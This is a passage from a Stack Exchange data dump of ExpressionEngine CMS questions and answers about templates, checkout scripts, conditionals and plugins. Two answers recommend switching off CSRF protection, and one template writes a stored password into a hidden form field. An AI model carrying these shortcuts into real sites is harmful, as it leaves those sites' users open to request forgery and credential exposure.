 disable=&quot;categories|category-fields|member-data&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;    {if no_results}Je hebt geen zoekopdrachten opgeslagen{/if}&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;a href=&quot;{site_url}index.php/zoek/resultaat/{title}/{count}&quot;&amp;gt;{count}&amp;lt;/a&amp;gt;&#xA;    {shortcut_beschrijving}&#xA;    &amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-08-13T12:23:17.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25073" PostTypeId="1" CreationDate="2014-08-13T14:06:35.967" Score="0" ViewCount="20" Body="&lt;p&gt;Below is a stripped down version of opening channel entries tag pair I have on a business section of my site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;business&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; search:business_country_code=&quot;**COUNTRY CODE**&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On arrival of the site I am using IP2Nation to grab the users location. I want this to be added into where COUNTRY CODE is above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially thought I could use a basic plugin to output this using something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;business&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; search:business_country_code=&quot;{exp:country_code:output}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it appears that the EE parse order prevents this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently resorted to using a URL segment, but I would much prefer to use another way around this, as I would like to have this work on several pages, and don't want to add country codes segments to every URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how I can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find this &lt;code&gt;channel_entries_query_result&lt;/code&gt; but don't really understand what it does.&#xA;I wondered if its possible to modify the channel entries tag to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:myplugin:entries channel=&quot;business&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have the search completed in the module/plugin/extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-08-13T14:06:35.967" Title="Modify channel entries query" Tags="|channel-entries|module|plugin|" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-13T15:17:27.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="25074" PostTypeId="1" AcceptedAnswerId="25079" CreationDate="2014-08-13T16:06:06.047" Score="1" ViewCount="68" Body="&lt;p&gt;I would like to show a list of recent entries, restricting the list to one per author. Essentially the logic I'm looking for is &quot;show 10 recent articles, but if the author of the next article already has an article on the list, skip it.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I'll have to use PHP to add a second level of logic, but I'm hoping someone else has an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible kink: I'm using Solspace's User.&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2014-08-13T17:24:31.630" Title="How to show recent entries restricted to one per author?" Tags="|entries|solspace-user|author|logic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25076" PostTypeId="2" ParentId="25055" CreationDate="2014-08-13T16:33:40.920" Score="0" Body="&lt;p&gt;Answering my own question, what you have to do is post to the site url, you cannot use a custom php handler without a lot of work.  I found this out by looking where the {exp:email:contact_form} posts to.  You also have to disable CSRF protection, or find a way to snag the XID from the return data.  (I just disabled it because we're not doing anything that is data sensitive)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    submitHandler: function(form) {&#xA;            $.ajax({&#xA;                url: &quot;/&quot;,&#xA;                type: &quot;post&quot;,&#xA;                dataType: &quot;html&quot;,           &#xA;                data: $('#contact_form').serialize(),&#xA;                error: function(jqXHR, textStatus, errorThrown)&#xA;                {&#xA;&#xA;                },&#xA;                success: function(html, textStatus, jqXHR) &#xA;                {&#xA;&#xA;&#xA;                }&#xA;&#xA;            });&#xA;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2014-08-13T16:33:40.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25077" PostTypeId="2" ParentId="21147" CreationDate="2014-08-13T16:44:56.617" Score="2" Body="&lt;p&gt;Add &#xA;$config['disable_csrf_protection'] = &quot;y&quot;; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to your config file, you need to add the XID to the form in a hidden field to get rid of the error the other way.&lt;/p&gt;&#xA;" OwnerUserId="3478" LastActivityDate="2014-08-13T16:44:56.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25078" PostTypeId="1" AcceptedAnswerId="25419" CreationDate="2014-08-13T17:22:37.707" Score="0" ViewCount="127" Body="&lt;p&gt;I'm using Expresso Store 2.3.1, and trying to get take payments via the Pin Payments gateway using Pin.js. This is near identical to the Stripe.js where a card token is added to the form then the token is posted to the server no the card details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have everything working right upto the point that I post the form with the card token to Store. I've demonstrated it working upto this point by disabling the post of the form to the server. When I do this you can clearly see the card token in the hidden input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when it posts to the server, I don't get any errors in the console or on the page, and I'm returned to the same checkout page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've removed inline errors in case there were any hidden errors I was missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the relevant javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // 1. Wait for the page to load&#xA;$(function() {&#xA;&#xA;  // 2. Create an API object with your publishable api key, and&#xA;  // specifying 'test' or 'live'.&#xA;  //&#xA;  // Be sure to use your live publishable key with the live api, and&#xA;  // your test publishable key with the test api.&#xA;  var pinApi = new Pin.Api('pk_tlFaC6Qk0MDp4wdNsa-noQ', 'test');&#xA;&#xA;  var form = $('form.pin'),&#xA;      submitButton = form.find(&quot;:submit&quot;),&#xA;      errorContainer = form.find('.errors'),&#xA;      errorList = errorContainer.find('ul'),&#xA;      errorHeading = errorContainer.find('h3');&#xA;&#xA;  // 3. Add a submit handler to the form which calls Pin.js to&#xA;  // retrieve a card token, and then add that token to the form and&#xA;  // submit the form to your server.&#xA;  form.submit(function(e) {&#xA;    e.preventDefault();&#xA;&#xA;    // Clear previous errors&#xA;    errorList.empty();&#xA;    errorHeading.empty();&#xA;    errorContainer.hide();&#xA;&#xA;    // Disable the submit button to prevent multiple clicks&#xA;    submitButton.attr({disabled: true});&#xA;&#xA;    // Fetch details required for the createToken call to Pin Payments&#xA;    var card = {&#xA;      number:           $('#cc-number').val(),&#xA;      name:             $('#cc-name').val(),&#xA;      expiry_month:     $('#cc-expiry-month').val(),&#xA;      expiry_year:      $('#cc-expiry-year').val(),&#xA;      cvc:              $('#cc-cvc').val(),&#xA;      address_line1:    $('#address-line1').val(),&#xA;      address_line2:    $('#address-line2').val(),&#xA;      address_city:     $('#address-city').val(),&#xA;      address_state:    $('#address-state').val(),&#xA;      address_postcode: $('#address-postcode').val(),&#xA;      address_country:  $('#address-country').val()&#xA;&#xA;    };&#xA;&#xA;    // Request a token for the card from Pin Payments&#xA;    pinApi.createCardToken(card).then(handleSuccess, handleError).done();&#xA;  });&#xA;&#xA;  function handleSuccess(card) {&#xA;    // Add the card token to the form&#xA;    //&#xA;    // Once you have the card token on your server you can use your&#xA;    // private key and Charges API to charge the credit card.&#xA;    $('&amp;lt;input&amp;gt;')&#xA;      .attr({type: 'hidden', id: 'payment_token', name: 'payment[token]'})&#xA;&#xA;      .val(card.token)&#xA;      .appendTo(form);&#xA;      console.log(card.token);&#xA;&#xA;    // Resubmit the form to the server&#xA;    //&#xA;    // Only the card_token will be submitted to your server. The&#xA;    // browser ignores the original form inputs because they don't&#xA;    // have their 'name' attribute set.&#xA;    form.get(0).submit();&#xA;  }&#xA;&#xA;  function handleError(response) {&#xA;    errorHeading.text(response.error_description);&#xA;&#xA;    if (response.messages) {&#xA;      $.each(response.messages, function(index, paramError) {&#xA;        $('&amp;lt;li&amp;gt;')&#xA;          .text(paramError.param + &quot;: &quot; + paramError.message)&#xA;          .appendTo(errorList);&#xA;      });&#xA;    }&#xA;&#xA;    errorContainer.show();&#xA;&#xA;    // Re-enable the submit button&#xA;    submitButton.removeAttr('disabled');&#xA;  };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's my checkout code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:store:checkout&#xA;                form_class=&quot;form-horizontal pure-form pure-form-stacked pin&quot;&#xA;                return=&quot;checkout/order/ORDER_HASH&quot;&#xA;                payment_method=&quot;Pin&quot;&#xA;               }&#xA;&#xA;                {if no_items}&#xA;                    {redirect=&quot;checkout&quot;}&#xA;                {/if}&#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_line-1&quot; value=&quot;{billing_address1}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_line-2&quot; name=&quot;{billing_address2}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_city&quot; name=&quot;{billing_city}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_state&quot; name=&quot;{billing_state}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_postcode&quot; name=&quot;{billing_postcode}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; id=&quot;address_country&quot; name=&quot;{billing_country}&quot; /&amp;gt;&#xA;            &amp;lt;div class=&quot;pure-g&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;pure-u-1 pure-u-md-1-2&quot;&amp;gt;&#xA;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;                {if error:payment_method}&#xA;                    &amp;lt;div class=&quot;pure-control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&#xA;                &amp;lt;div class='errors'&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;pure-control-group&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;cc-number&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;cc-number&quot; value=&quot;4200000000000000&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;pure-control-group&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;cc-name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;cc-name&quot;  value=&quot;TEST USER&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;ontrol-group&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;cc-expiry-month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;select id=&quot;cc-expiry-month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;01&quot;&amp;gt;01&amp;lt;/option&amp;gt;&#xA;                            {exp_month_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;select id=&quot;cc-expiry-year&quot;  style=&quot;width:auto&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;2016&quot;&amp;gt;2016&amp;lt;/option&amp;gt;&#xA;                            {exp_year_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;pure-control-group&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;cc-cvc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;cc-cvc&quot; value=&quot;123&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='checkout/step2'}&quot; class=&quot;pure-button&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;btnSubmit&quot; value=&quot;Place Order&quot; class=&quot;pure-button pure-button-primary&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one really has be beat. While I think I might be seeing an issue where Pin.js intercepts every form submission and get's  a new token for every form submission, if I disable Pin.js and manually add the token that was previously issued, it still won't give a meaningful response after post.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2014-09-30T00:28:30.253" Title="Expresso Store - Pin Payments does not complete checkout" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25079" PostTypeId="2" ParentId="25074" CreationDate="2014-08-13T17:24:31.630" Score="4" Body="&lt;p&gt;You might could do something like this (php must be enabled on input)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$entries = array();&#xA;$sql = &quot;SELECT author_id as author, &#xA;        max(entry_id) as entry_id &#xA;        FROM exp_channel_titles&#xA;        WHERE channel_id = '4'&#xA;            AND status = 'open'&#xA;        GROUP BY author &#xA;        ORDER BY entry_id DESC &#xA;        LIMIT 10&quot;;&#xA;$authorEntriesQuery = ee()-&amp;gt;db-&amp;gt;query($sql);&#xA;foreach($authorEntriesQuery-&amp;gt;result_array() as $row)&#xA;{&#xA;    $entries[] = $row['entry_id'];&#xA;}&#xA;$entriesString = implode('|',$entries);&#xA;?&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; entry_id=&quot;&amp;lt;?echo $entriesString?&amp;gt;&quot;}&#xA;{title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would have to change the channel number obviously and if you have any custom statuses you need to account for, then change that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this and got the most recent posts from individual authors.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-13T17:24:31.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25080" PostTypeId="1" CreationDate="2014-08-13T18:52:08.350" Score="2" ViewCount="55" Body="&lt;p&gt;On the overview it mentions you can batch create low variables:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can clone variables, &lt;strong&gt;batch-create&lt;/strong&gt; them and duplicate whole&#xA;  groups&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is this done exactly? I'm having trouble finding any documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="3479" LastActivityDate="2014-11-11T20:52:33.443" Title="Low Variables — Batch Creation" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25081" PostTypeId="2" ParentId="25063" CreationDate="2014-08-13T18:58:20.553" Score="0" Body="&lt;p&gt;Did you download everything from github? If so you should not need license.txt file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that your error has to do with something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have place opengateway in the root of your site then you should access:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/opengateway/install&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/opengateway/install&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-08-13T18:58:20.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25082" PostTypeId="1" AcceptedAnswerId="25083" CreationDate="2014-08-13T19:02:56.673" Score="1" ViewCount="262" Body="&lt;p&gt;I have built over 70 EE sites in thej last few years.  I noticed now in EE 2.8+ that it is now required to enter a license number even on a local copy.  Is there a new method to allow us to build and test before getting the license?  Maybe like using a .dev or .local domain extension or something?  I have many client licneses I can use if needed, but I do not like that option.  The reason we like to build a bit of the CMS in advance is that we typically we demo it with a client to see if the like the way it works for basic editing.  What do you all do now for your local dev copies of EE?  Is it possible to get a dev license?&lt;/p&gt;&#xA;" OwnerUserId="2276" LastActivityDate="2014-08-13T19:05:48.980" Title="How can I setup a dev copy of EE before license purchase?" Tags="|development|license|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25083" PostTypeId="2" ParentId="25082" CreationDate="2014-08-13T19:05:48.980" Score="1" Body="&lt;p&gt;We start building before our licenses are purchased. We just put in a random number until we actually get the real license. EE doesn't currently do an authorization call on install to validate your license. We use stuff like: 1234-1234-1234-1234.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-13T19:05:48.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25084" PostTypeId="2" ParentId="25063" CreationDate="2014-08-13T19:09:59.140" Score="1" Body="&lt;p&gt;We do not recommend using Membrr and OG.  You have two seperate system, two logins and it is a big pain.  There is a reason it is now FREE.  You get what you pay for.  If you are just using PayPal why not just use EE native Simple Commerce?&lt;/p&gt;&#xA;" OwnerUserId="2276" LastActivityDate="2014-08-13T19:09:59.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25085" PostTypeId="2" ParentId="25063" CreationDate="2014-08-13T19:32:29.910" Score="0" Body="&lt;p&gt;Have you built the server with IonCube Loader installed? We accidentally skipped over this the first time...&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-08-13T19:32:29.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25086" PostTypeId="2" ParentId="25080" CreationDate="2014-08-13T19:44:04.890" Score="2" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/manage&quot; rel=&quot;nofollow&quot;&gt;Variable creation options&lt;/a&gt; bit. Batch creation of multiple identical vars happens when using multiple suffixes when creating a variable.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-13T19:44:04.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25087" PostTypeId="1" CreationDate="2014-08-13T20:43:49.873" Score="1" ViewCount="1993" Body="&lt;p&gt;I upgraded ExpressionEngine version to 2.9.0. and also Zoo Visitor to latest version. After upgrade, I am seeing a very strange error message after submitting Zoo Registration form &lt;code&gt;exp:zoo_visitor:registration_form&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Something has gone wrong and this URL cannot be processed at this&#xA;  time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Before, upgrade everything was working fine. Could anyone please help me.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2015-07-08T11:57:08.610" Title="Something has gone wrong and this URL cannot be processed at this time + Zoo Visitor" Tags="|zoo-visitor|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25088" PostTypeId="1" AcceptedAnswerId="25089" CreationDate="2014-08-13T20:56:36.470" Score="1" ViewCount="220" Body="&lt;p&gt;So I have this conditional that works properly for entries with matrix rows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if {tech_documents:total_rows search:doc_thumb=&amp;quot;IS_EMPTY&amp;quot;} &amp;gt; 0}&#xA;    ...&#xA;{if:else}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, entries that have no rows for this matrix field throw a template error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Error&lt;/h3&gt;&#xA;&lt;p&gt;You have an invalid conditional in your template. Please review your&#xA;conditionals for an unclosed string, invalid operators, a missing },&#xA;or a missing {/if}.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Parser State&lt;/strong&gt;: Invalid Condition: Not enough operands for operator ” &amp;gt;&#xA;“.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Running: EE 2.9, Matrix 2.6, Assets 2.4&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-08-14T07:15:33.607" Title="Matrix Total Rows Column Search Conditional" Tags="|matrix|assets|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25089" PostTypeId="2" ParentId="25088" CreationDate="2014-08-13T21:06:36.507" Score="5" Body="&lt;p&gt;EE simply removes any tags corresponding to custom fields that have no data. So by the time EE is ready to parse the outer &lt;code&gt;{if}&lt;/code&gt; conditional, it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if  &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try wrapping the field tag in quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{tech_documents:total_rows search:doc_thumb=&quot;IS_EMPTY&quot;}' &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2014-08-14T00:14:53.183" LastActivityDate="2014-08-14T00:14:53.183" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25090" PostTypeId="2" ParentId="25087" CreationDate="2014-08-13T21:57:24.940" Score="4" Body="&lt;p&gt;Probably you have some broken conditional tag. The conditionals are more strict since 2.9.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-08-13T21:57:24.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25091" PostTypeId="2" ParentId="25030" CreationDate="2014-08-13T22:39:47.917" Score="1" Body="&lt;p&gt;You should be able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a product download you pass the custom field name of your file field to the &lt;code&gt;exp:store:downloads&lt;/code&gt; tag which then will allow the user to download the item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested this with a hosted service like S3 but I don't see why it wouldn't work. If for some chance it does not work you could use the &lt;code&gt;exp:store:orders&lt;/code&gt; tag pair and something like &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; to allow only users that have purchased an item to download the mp3 files.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-13T22:39:47.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25092" PostTypeId="1" CreationDate="2014-08-14T00:46:05.927" Score="0" ViewCount="19" Body="&lt;p&gt;Anytime I make a change within the eecms admin, I get DB table readouts instead of the ol' green light. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted my DB in the event that it became corrupted during the install. Downloaded a fresh copy of eecms from EllisLab, installed, same issue. Only thing I can think of is that I'm using Media Temple hosting for the first time. Not sure if there's special install procedures for them or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, every time I choose File Manager I get: {&quot;rows&quot;:[],&quot;pagination&quot;:&quot;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is technically &quot;working,&quot; but I shouldn't be getting these DB readouts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MZlG.png&quot; alt=&quot;DB text readout I keep getting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BcDGk.png&quot; alt=&quot;Folder structure (someone asked for this)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2548" LastEditorUserId="2548" LastEditDate="2014-08-14T20:32:39.807" LastActivityDate="2014-08-18T15:48:19.297" Title="Anytime I submit changes in EECMS I get DB result printout" Tags="|error|file-manager|bug|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25093" PostTypeId="1" CreationDate="2014-08-14T02:34:00.523" Score="0" ViewCount="156" Body="&lt;p&gt;Is there a way to create a matching email address field? I want to create a &quot;confirm email&quot; field to ensure the user is correctly inputting his/her email. I'm using the form composer as well, so I'm hoping there's an easy way to set this up versus having to manually create a form template and manually create each form field. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3092" LastActivityDate="2016-05-23T10:39:05.857" Title="Creating Confirm Email Field that Matches Email Field" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25094" PostTypeId="1" CreationDate="2014-08-14T04:57:58.623" Score="0" ViewCount="569" Body="&lt;p&gt;I'm trying to create a field that requires the user to select from a dropdown field (Select field). I inputted the selection options and the first option shows by default. Instead of that, however, I'm trying to get it to show some default &quot;Select option&quot; or something of that sort and then requires the user to select from the dropdown selection options. I know I can just input &quot;Select Option&quot; as the first option, but I need to make this a required field that ensures the user makes a real selection—that is to say, an option that isn't just the &quot;Select Option&quot; option if I were to put that in as the first option. Any idea on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="3092" LastActivityDate="2014-08-14T10:51:34.917" Title="Requiring User to Select from Dropdown Menu" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25095" PostTypeId="2" ParentId="25088" CreationDate="2014-08-14T07:15:33.607" Score="0" Body="&lt;p&gt;try with below code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if tech_documents:total_rows &amp;gt; 0 &amp;amp;&amp;amp; search:doc_thumb=&quot;IS_EMPTY&quot;}&#xA;    ...&#xA;{if:else}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2696" LastActivityDate="2014-08-14T07:15:33.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25097" PostTypeId="2" ParentId="25049" CreationDate="2014-08-14T09:30:27.483" Score="0" Body="&lt;p&gt;I have created the following template that works perfectly using the stash plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Delete --&amp;gt;&#xA;{if segment_3 == 'delete' AND !segment_4 AND &quot;{exp:stash:get name='password' dynamic='yes'}&quot; == '' AND &quot;{exp:stash:get name='confirm_delete' dynamic='yes'}&quot; == ''}&#xA;&#xA;    &amp;lt;form action=&quot;&quot; method=&quot;post&quot; class=&quot;form-horizontal&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; id=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot;&amp;gt;&#xA;        &amp;lt;input type='checkbox' name='confirm_delete' value='yes'&amp;gt;Are you shure?&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;{if:elseif segment_3 == 'delete' AND !segment_4 AND &quot;{exp:stash:get name='password' dynamic='yes'}&quot; AND &quot;{exp:stash:get name='confirm_delete' dynamic='yes'}&quot; == 'yes'}&#xA;&#xA;    {exp:zoo_visitor:delete_form&#xA;        return='/'&#xA;        role=&quot;form&quot;&#xA;        include_jquery='no'&#xA;        datepicker='no'&#xA;        include_assets='no'&#xA;        secure_action='yes'&#xA;        secure_return='yes'&#xA;        require_password='yes'&#xA;    }&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;{exp:stash:get name='password' scope='user'}&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot; data-loading-text=&quot;Deleting 